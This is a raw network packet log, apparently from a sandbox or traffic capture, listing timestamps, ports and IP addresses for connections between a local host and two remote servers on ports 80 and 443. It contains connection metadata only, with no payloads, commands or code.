Nov 17, 2024 01:38:25.687328100 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.704029083 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.704785109 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.704802036 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.705307007 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.705317974 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.705318928 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.705354929 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.705384970 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.705389023 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.705413103 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.705432892 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.720958948 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.721414089 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.721509933 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.721940041 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.721954107 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.733570099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.733673096 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.733705044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.733757019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.733755112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.733755112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.733755112 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.733798981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.733808994 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.733834982 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.733854055 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.733870029 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.733881950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.733916044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.734839916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.734901905 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.734945059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.734977007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.735009909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.735024929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.735024929 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.735063076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.767541885 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.768052101 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.768062115 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.768750906 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.768768072 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.772010088 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772088051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772104979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772120953 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772146940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772162914 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772164106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772180080 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772192955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772192955 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772219896 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772309065 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772412062 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772466898 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772514105 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772530079 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772545099 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772571087 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772603035 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.772735119 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.772788048 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.805727005 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.805937052 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.806040049 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.806091070 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.806113005 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.806149960 CET	49771	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.806163073 CET	443	49771	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.808926105 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.808954000 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.809051991 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.809204102 CET	49776	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.809235096 CET	443	49776	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.812262058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.812279940 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.812294960 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.812359095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.812359095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.832283020 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.832504034 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.832623005 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.832777023 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.832777023 CET	49772	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.832793951 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.832803011 CET	443	49772	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.835642099 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.835674047 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.835756063 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.835935116 CET	49777	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.835947990 CET	443	49777	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.845608950 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.845638037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.845655918 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.845671892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.845689058 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.845686913 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.845732927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.845757008 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.850151062 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.850256920 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.850323915 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.850395918 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.850436926 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.850466967 CET	49773	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.850482941 CET	443	49773	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.852543116 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.852566004 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.852654934 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.852782011 CET	49778	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.852817059 CET	443	49778	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.879534006 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.879775047 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.879844904 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.879868031 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.879919052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.879919052 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.892231941 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.892271042 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.892287970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.892304897 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.892309904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.892321110 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.892355919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.892355919 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.892400026 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.893495083 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.893512964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.893528938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.893554926 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.893589020 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.896689892 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.896775961 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.896868944 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.896994114 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.896994114 CET	49774	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.897008896 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.897017002 CET	443	49774	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.899653912 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.899683952 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.899758101 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.899893045 CET	49779	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:25.899899960 CET	443	49779	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:25.930872917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.930912018 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.930927992 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.930977106 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931005955 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931014061 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931024075 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931041956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931056976 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931060076 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931082964 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931116104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931221962 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931238890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931257010 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931269884 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931272030 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.931304932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931304932 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.931359053 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.970900059 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.970923901 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.970941067 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:25.971117973 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:25.971118927 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.011415005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.011432886 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.011450052 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.011465073 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.011553049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.011569977 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.011585951 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.011607885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.011607885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.011607885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.011607885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.011607885 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.011723042 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.026166916 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.026185036 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.026200056 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.026235104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.026235104 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.050584078 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.050610065 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.050623894 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.050740004 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.050770998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.050770998 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.050832033 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.050847054 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.050857067 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.050863981 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.050882101 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.050909996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.050909996 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.051949978 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.051964998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.051980019 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.052083969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.052083969 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089265108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089299917 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089318037 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089334011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089454889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089471102 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089490891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089499950 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089500904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089500904 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089517117 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089534998 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089551926 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089566946 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089585066 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.089598894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089598894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089598894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089598894 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089600086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089600086 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.089641094 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.129404068 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.129421949 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.129440069 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.129455090 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.129554033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.129554987 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.169827938 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.169857025 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.169872046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.169915915 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.169929028 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.170139074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.170139074 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.170193911 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.170208931 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.170252085 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.170296907 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.184653997 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.184695005 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.184710979 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.184725046 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.184781075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.184817076 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.209460020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.209503889 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.209539890 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.209575891 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.209611893 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.209611893 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.209640980 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.209711075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.209711075 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.209741116 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.210711956 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.210747957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.210782051 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.210782051 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.210803032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.210839033 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.245073080 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.245739937 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.245783091 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.246268034 CET	49775	443	192.168.2.6	13.107.246.45
Nov 17, 2024 01:38:26.246279001 CET	443	49775	13.107.246.45	192.168.2.6
Nov 17, 2024 01:38:26.247685909 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.247725964 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.247764111 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.247786045 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.247840881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.247863054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.247863054 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.247874975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.247893095 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.247931957 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.247992039 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248023987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248081923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248115063 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248147011 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248146057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248146057 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248198032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248198032 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248289108 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248320103 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248347044 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248419046 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248466015 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248502970 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248529911 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248539925 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248553038 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248570919 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248595953 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248610973 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248631954 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248641014 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.248663902 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.248687983 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.287919044 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.287966967 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.287981987 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.287997007 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.288033009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.288033009 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.288078070 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.328383923 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.328448057 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.328476906 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.328528881 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.328557014 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.328557968 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.328562975 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.328600883 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.328610897 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.328691006 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.343154907 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.343190908 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.343224049 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.343228102 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.343271017 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.343280077 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.367676020 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.367753983 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.367769957 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.367789984 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.367795944 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.367805004 CET	49714	80	192.168.2.6	185.215.113.206
Nov 17, 2024 01:38:26.367814064 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.367827892 CET	80	49714	185.215.113.206	192.168.2.6
Nov 17, 2024 01:38:26.367832899 CET	49714	80	192.168.2.6	185.215.113.206
